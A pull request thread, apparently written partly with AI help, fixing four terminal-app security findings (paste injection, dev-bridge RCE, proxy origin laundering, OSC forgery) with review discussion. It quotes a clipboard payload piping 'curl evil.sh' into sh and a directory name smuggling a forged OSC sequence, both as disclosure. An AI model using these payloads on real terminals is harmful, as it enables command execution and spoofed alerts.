Close the four security-audit findings: paste injection, dev-bridge RCE, proxy origin laundering, OSC forgery

[nedtwigg]

Closes four findings from the security audit run that failed after #452 — the run whose application-security domain returned VERDICT: FAIL. All four were found by the catch-all domain, which only reached lib/ and standalone/ once #452 defined the catch-all by subtraction rather than by a list. The audit machinery worked; these are the bugs it found.

Every fix is verified live, not just in unit tests: a real hostile directory, a booted dev:standalone:ab harness, and a live upstream behind the iframe proxy.

B1 — bracketed paste could execute clipboard content (81eaaf98)

clipboard.ts wrapped clipboard text in \x1b[200~…\x1b[201~ verbatim, so content holding its own \x1b[201~ closed the bracket early and everything after it reached the shell as typed input — newlines included, which submit. Copying git status\x1b[201~\ncurl evil.sh|sh\n from a hostile page and pasting ran the second command with no further user action.

Bracketing is the whole defense here (mouse-and-clipboard.md §8.6 puts multi-line paste confirmation out of scope), and we had reimplemented it while dropping the sanitization the library we embed already does. Now matches xterm's bracketTextForPaste exactly: every ESC becomes a visible U+241B.

B2 — the browser-dev bridge was an unauthenticated loopback RCE (1c097f51)

pnpm dev:standalone:ab served 127.0.0.1:1422 with no token, no Origin/Host check, and access-control-allow-origin: *. POST /__dormouse_dev_host/send reaches pty_spawn, which honours caller-supplied shell, args, cwd and env. readJson ignored the content-type, making it CORS-simple — any page open in a developer's browser could POST no-cors with no preflight to survive.

Four gates in a new dev-host-guard.mjs: per-run token, loopback Host check, required JSON content-type, exact-origin ACAO. Costs the agent nothing — the token rides the env var the harness already sets, and agent-browser drives the Vite origin, never the bridge.

W8 — the iframe proxy vouched for strangers (fcca5691)

Same mistake as B2 in shipped code, and worse: the proxy unconditionally rewrote Origin to the upstream's own, so any page could POST to a grant and be relabelled as same-origin — defeating exactly the check the rewrite exists to satisfy. On the upgrade path it hands out a readable WebSocket, since WebSockets aren't subject to CORS.

Fixed by honesty rather than a lock: a foreign Origin is forwarded untouched, so the upstream applies its own policy and the proxy grants nothing that hitting the upstream directly wouldn't. Plus a Host check on both paths.

W1 — shell integration forged notifications (a85c2eb5)

Our own prompt hooks wrote $PWD into OSC 633;P;Cwd= raw. A directory named $'/tmp/evil\a\e]9;PWNED\a' makes every prompt emit a sequence whose BEL ends the OSC early, and the remainder parses as a fresh, fully-trusted OSC 9 — which latches a ring, persists, is spoken aloud, and is pushed to the paired phone. Nothing shows on screen, and it re-fires for anyone entering that directory.

The parser cannot defend against this: its terminator scan runs on raw bytes, so the sequence is already over. Fixed on the emit side in all three shells, and tested by running real bash and zsh rather than reasoning about them.

Then: cleanup and a lint

ff5eccfb is a /simplify pass. The one that mattered: the W1 fix introduced a subshell fork on every prompt render (0.377 ms vs 0.015 ms for an out-param) — a regression, since that line was previously a bare "$PWD". Also restated a FAIL IF that contradicted the design it protects and would have flagged the iframe proxy on every audit run.

9f632406 adds scripts/loopback-lint.mjs to pnpm test: a new loopback listener must reference a guard module or be allowlisted with a reason. Two of three listeners got this wrong at some point and both were caught by an audit rather than a build. It deliberately does not claim to be the whole rule — it can see that a file knows a guard exists, not that it's called per request — and the docstring says so.

Notes for review

• SECURITY.md gains a ## Loopback Listeners section, claimed by application-security.md in the same commit. An unclaimed section is owned by nobody — the .vscode/ orphaning that Close the audit's findings on itself, and run application-security on Opus #452 fixed for directories.
• pwsh is unverified. It got the W1 treatment via \p{Cc}, written with char codes so it works on Windows PowerShell 5.1, but pwsh isn't installed on my machine and the shell test covers bash and zsh only.
• Not fixed, deliberately: routing paste through xterm's terminal.paste() would delete our reimplemented bracket entirely, but it needs a DOM-attached xterm that file-drop can't guarantee, and its unconditional \r?\n → \r would corrupt file paths that shellEscapePosix quotes precisely to preserve. Separately, inputContainsEnter (data.includes('\r')) knows nothing about bracketed paste, so a native multi-line paste clears a pane's TODO though nothing was submitted — a live bug on xterm's own paste path, left for its own change.

🤖 Generated with Claude Code

https://claude.ai/code/session_01NJdkLMcHDBgBBF9v5dw3j5

[cloudflare-workers-and-pages]

Deploying mouseterm with    Cloudflare Pages

Latest commit:	ae3f015
Status:	✅  Deploy successful!
Preview URL:	https://aa151135.mouseterm.pages.dev
Branch Preview URL:	https://audit-findings-b1-b2-w1-w8.mouseterm.pages.dev

View logs

[dormouse-bot]

The four fixes hold up. I traced each boundary rather than taking the write-up's word for it:

• W1 — Cwd= is percent-decoded downstream (cwdFromDecodedPath → safeDecodeURIComponent), so I checked whether a %07-encoded directory name could re-introduce a terminator after parsing. It can't do anything: every consumer of cwd.path is display, grouping, or a snapshot field (Wall.tsx, remote/host/directory.ts) — nothing writes it back to a PTY. The emit-side filter is complete for the boundary it claims. node --test standalone/sidecar/shell-integration.test.js passes here (bash; zsh now installed by 54b9293).
• W8 — the Host 421 doesn't cost the legitimate paths: the grant URL is always http://127.0.0.1:<port>, redirects are rewritten to proxyOrigin in sanitizeResponseHeaders, and sub-resources inherit the frame's origin. The vouch flag on handleUpgrade is applied per-header correctly.
• B2 — every call site sets content-type: application/json (BrowserSidecarHost.send/invoke, the console mirror in browser-sidecar-adapter), so the gate's non-GET rule doesn't break anything; writeHead(200, {...}) does merge with the setHeader-recorded CORS headers, so dropping the explicit access-control-allow-origin from the SSE branch is safe. The agent-browser-host.ts ALLOWED entry matches the code it describes (single-use 64-hex token, 60s TTL, port-pinned, origin dropped).
• scripts/loopback-lint.mjs, spec-lint, and xterm-lint all pass from a clean checkout.

Four notes below, none of them blocking.

On pwsh being unverified: \p{Cc} does cover C0, DEL and the C1 range, and [string][char]0x9c is the right 5.1-safe spelling — the logic reads correct, it's just untested. Worth saying that the escape/safe_cwd split there is also the only one of the three where escape still returns a value instead of using the out-param, which is fine (no fork to avoid) but means the three emitters no longer share a shape.

[nedtwigg]

All four fixed in 6c9aec7. Thanks — the first one was a real hole in the thing I'd just added to prevent holes.

Multi-line .listen( — you're right, and it's the worst kind of bug for this file: the lint reports green while missing the shape it exists to catch, and check 3 stays quiet because the other three listeners still match. Scanning whole-file now, line number from the match offset.

I also handled the { host: ... } options form rather than leaving it. Your reasoning is why: the "deliberately does NOT do" list is precise enough that a reader will treat it as exhaustive, so anything cheap to cover belongs covered, and whatever stays uncovered belongs on the list. A host built at runtime (.listen(port, hostVar)) is now named there as the ceiling of a textual check. Both new shapes verified to fail with correct line numbers.

apt — took the update plus timeouts and three attempts, not the full mirror rotation; that's a lot of machinery for one package, as you say. The failure message names the consequence (silently covering only bash) so a future red points at what it costs.

The localhost pin — good catch, and the symptom you describe is exactly the problem: a blank terminal plus console CORS errors points nowhere near the cause. Went with echoing rather than documenting, since it's as tight either way — one of two known-good values for the same dev page, anything else still gets the canonical origin and fails the browser's check. Verified against a booted harness: both spellings echoed, evil.example and a wrong port both get the canonical value, and the token/Host/JSON gates still answer 404 with pty_spawn never dispatching. transport.md now records it too.

Skill doc — took your wording, plus an explicit "not into the page's own address, so there is no ?t= in the address bar to look for," since that's the specific wrong turn.

On the pwsh shape note: agreed, and I left it deliberately. escape there returns a value because there's no fork to avoid — PowerShell function calls are in-process — so the out-param would be cost with no benefit. But you're right that the three emitters no longer share a shape, which is a real readability cost for the next person diffing them. It's recorded in the commit rather than papered over.

pwsh remains untested; it's the one part of this I can't verify locally.

[dormouse-bot]

All four confirmed against 6c9aec7. pnpm lint:loopback and node --test standalone/scripts/dev-host-guard.test.mjs both pass here.

I re-derived the new LISTEN_RE and ran it against shapes beyond the two you named, since a whole-file scan can widen as easily as it can fix: multi-line positional, options-object in either key order, and multi-line options-object all match with the right line number; UDS (.listen('/tmp/x.sock')), bare .listen(port), .listen(port, hostVar), and .listen(port, '0.0.0.0') all correctly don't. The false-positive case I was most worried about — .listen(port) on one line and an unrelated foo(bar, '127.0.0.1') further down — stays clean, because [^,)]+ can't cross the closing paren. The s flag is inert (no unescaped . in the pattern); the newline crossing comes from the negated classes, which is what the comment says.

One thing the fix doesn't close, non-blocking: both new branches are matched by nothing in the repo and nothing in a test. All three listeners are single-line positional — iframe-proxy.ts:151, agent-browser-host.ts:67, dev-agent-browser.mjs:215 — so if a later edit drops the multi-line or options-object branch, check 2 still finds its allowlisted match and check 3 still counts three listeners. That is the same green-while-blind shape you just fixed, one level up: the branches added because nothing in-repo exercises them are exactly the ones the lint's own staleness checks can't watch. dev-host-guard.test.mjs is the precedent for pinning it; the blocker is only that LISTEN_RE isn't exported and the script body runs at import.

Not raising the escape shape divergence again — your reasoning holds and the commit records it. pwsh stays the one unverified surface.

Regex cases and results

Run against the LISTEN_RE as built in loopback-lint.mjs, with the same text.slice(0, match.index).split('\n').length line derivation.

MATCH  line=1    positional 1-line
MATCH  line=2    positional multi-line
MATCH  line=3    options obj
MATCH  line=1    options obj reversed
MATCH  line=2    options multi-line
no     line=-    UDS (must NOT match)
no     line=-    all-ifaces (must NOT)
no     line=-    runtime host (NOT)
no     line=-    far-apart false pos
no     line=-    public bind (NOT)

IS_TEST already excludes *.test.mjs from the scan, so fixture strings in a test file wouldn't feed back into the lint.

[dormouse-bot]

All four re-verified against the code rather than the write-up.

• loopback-lint — I ran the five shapes through the new LISTEN_RE: positional single-line and wrapped, options-object in both key orders and wrapped. All match; UDS (.listen('/tmp/foo.sock')), bare .listen(port) and .listen(port, hostVar) all still don't. The line number is now the line of .listen( rather than the line of the host argument, which is the better anchor for a wrapped call. node scripts/loopback-lint.mjs reports OK (3 loopback listeners, 1 allowlisted), which matches the three real binds on disk (iframe-proxy.ts, dev-agent-browser.mjs, and the allowlisted agent-browser-host.ts) — so the broadened regex didn't pull in anything new that a stray dev-host-guard mention would have silently absorbed. The runtime-host ceiling being named on the "does NOT do" list is the right call.
• CORS echo — vary: origin is already there, access-control-allow-credentials is absent, and the membership test is exact string equality against two literals, so the echo widens nothing. A multi-valued Origin header arrives joined with ", " and falls through to the canonical value. node --test standalone/scripts/dev-host-guard.test.mjs passes (6/6).
• Skill doc / transport.md — both now match startVite, which sets VITE_DORMOUSE_BROWSER_DEV_HOST to http://127.0.0.1:${hostPort}/?t=${bridgeToken}.

Two small things, neither blocking.

One inline below on the apt step's own budget.

The other is a stale reference: inside the SSE branch of startHostServer, the comment reading No access-control-allow-origin here: cors(res) already set it still names the old one-argument signature — it's cors(req, res) now. Grep already set it in standalone/scripts/dev-agent-browser.mjs.

[nedtwigg]

Both fixed in a1bd66a.

Timeout budget — you're right, and I checked the arithmetic rather than taking it: 3 × (120 update + 120 install) + 2 × 15 sleep = 750s against a 360s cap, and even the update-only-dribbling case is 390s. So the step died mid-attempt in precisely the scenario the retry exists for, and the ::error:: naming the consequence never printed — a bare timeout instead. Now 13 minutes, with the arithmetic written next to it so the next person changing the schedule sees what the budget has to cover.

Stale cors(res) — fixed; the signature became cors(req, res) with the origin echo and I missed the comment.

On the Standalone Smoketest block having the same shape (10 min vs 930s): agreed it's the same bug, and I left it alone deliberately — it's pre-existing and outside this diff, so it belongs in its own change rather than riding along here. Noted in the commit message. Happy to do it as a follow-up if you'd rather not leave it sitting.

Thanks for the verification pass on the lint regex — checking all five shapes including both key orders of the options object, and confirming UDS / bare-port / runtime-host still don't match, is exactly the part I'd have wanted a second pair of eyes on. The "did the broadened regex pull in anything a stray dev-host-guard mention would silently absorb" check is a good one; I hadn't framed the risk that way.

[dormouse-bot]

Done as a follow-up — #454, off main so it doesn't ride along here. Same treatment a1bd66a gave the zsh step: 930s worst case (3 x (120 update + 180 install) + 2 x 15 sleep) under a 600s cap, raised to 16 minutes with the arithmetic beside it. Those two are now the only capped steps in ci.yml, and both budgets clear their schedules.

I checked whether the shape recurs anywhere else while I was in there: release.yml's Linux apt step has no retry loop and no cap at all, so there's no budget-vs-schedule mismatch to fix there — it just fails on the first bad mirror. Left it alone rather than widening #454.

Nothing outstanding from my side on this PR; the approval stands against a1bd66a.

[dormouse-bot]

The stale cors(req, res) comment fix is right, and the budget change does what the commit message says. One arithmetic nit on the new comment, inline.

[nedtwigg]

Fixed in 0039b15 — the arithmetic is right and I'd got it wrong. The trailing sleep 15 does run after the third failure, so it's 765s, and 15s of headroom is too thin for the exact scenario the retry exists to survive. Guarded, and the comment now states the real number.

On the bash -e rationale, though — that part doesn't reproduce. set -e explicitly exempts a command that is part of a && list other than the one following the final &&, so [ "$i" -lt 3 ] && sleep 15 returning 1 on the last iteration does not exit the shell. Both forms run the loop to completion and print ::error:::

$ bash -e amp.sh        # [ "$i" -lt 3 ] && sleep 0
::warning::attempt 1 failed
::warning::attempt 2 failed
::warning::attempt 3 failed
::error::could not install zsh
exit=1                  # identical for the if/fi version

Run as script files under bash -e, matching how Actions invokes it. Caveat on my side: that's bash 3.2 locally — I don't have 5.x to hand, so for the runner I'm relying on the exemption being documented behavior rather than a version-specific quirk. If you've seen it bite on 5.x I'd genuinely like the repro, because it would change how I write these loops.

I kept if/fi regardless — it's the clearer spelling and the guard is worth having on the arithmetic alone. But I took the shell-semantics claim out of the comment rather than enshrining it: a wrong reason in a comment outlives the line it justifies, and the next person tuning this would plan around a constraint that isn't there.

On the Smoketest block's matching 10min/930s: still leaving it, still happy to do it as a follow-up.

[dormouse-bot]

You're right about bash -e and I was wrong: the exemption covers a failing command anywhere in an && list except the one following the final &&, so [ "$i" -lt 3 ] returning 1 never exits the shell. The arithmetic reason is the one that holds, and putting that in the comment instead of a shell-semantics claim that doesn't reproduce is the right call.

The guard reads correctly: for i in 1 2 3 now sleeps only after attempts 1 and 2, so the comment's 2 x 15 is true and the worst case is 750s under the 780s cap.

One non-blocking leftover inline — the warning text still promises a retry that no longer happens on the third attempt.

[dormouse-bot]

Here's the 5.x repro you asked for — it doesn't bite there either, so the caveat in your comment can come off.

GNU bash, version 5.2.21(1)-release (x86_64-pc-linux-gnu)
--- amp under bash -e ---
::warning::attempt 1 failed
::warning::attempt 2 failed
::warning::attempt 3 failed
::error::could not install zsh
exit=1
--- iffi under bash -e ---   (identical)

Same result under bash --noprofile --norc -eo pipefail and -euo pipefail — i.e. both the default run: invocation on Linux (bash -e {0}) and the explicit shell: bash one. So the &&-list exemption holds across 3.2 and 5.2 and across every option set Actions uses here; there is no version-specific quirk to write loops around. Your call to drop the shell-semantics sentence and keep the arithmetic one stands on the evidence, not just the manual.

One bookkeeping note: the Standalone Smoketest follow-up is already open as #454 (opened 08:19, off main, 600s cap → 16 minutes against its own 930s worst case). It predates your last comment by a few minutes so it was easy to miss — no need to queue it again.

Scripts run

Both files run as script arguments, matching how Actions invokes a run: block. false stands in for the apt-get update && apt-get install pair so all three attempts fail; sleep 0 for sleep 15.

amp.sh — the && form:

for i in 1 2 3; do
  false && { echo "installed"; exit 0; }
  echo "::warning::attempt $i failed"
  [ "$i" -lt 3 ] && sleep 0
done
echo "::error::could not install zsh"
exit 1

iffi.sh is the same with if [ "$i" -lt 3 ]; then sleep 0; fi on the third line. Every invocation printed all three warnings plus the ::error:: line and exited 1:

bash -e amp.sh                                 -> exit=1, ::error:: printed
bash -e iffi.sh                                -> exit=1, ::error:: printed
bash --noprofile --norc -eo pipefail amp.sh    -> exit=1, ::error:: printed
bash --noprofile --norc -euo pipefail amp.sh   -> exit=1, ::error:: printed

Runner image is ubuntu-latest, the same image the Install zsh step runs on.

[nedtwigg]

Taken in 2f0e0a1-ish (see latest push) — the interval is in the comment above the step, so the log doesn't need it, and "attempt 3 ... retrying" reading straight into ::error:: was the confusing part.

Thanks for the bash -e follow-up. Worth noting the version I'd have shipped without your first note was worse than either of us was arguing about: I'd already written the incorrect shell-semantics claim into the comment before testing it, so the disagreement is what got it tested at all.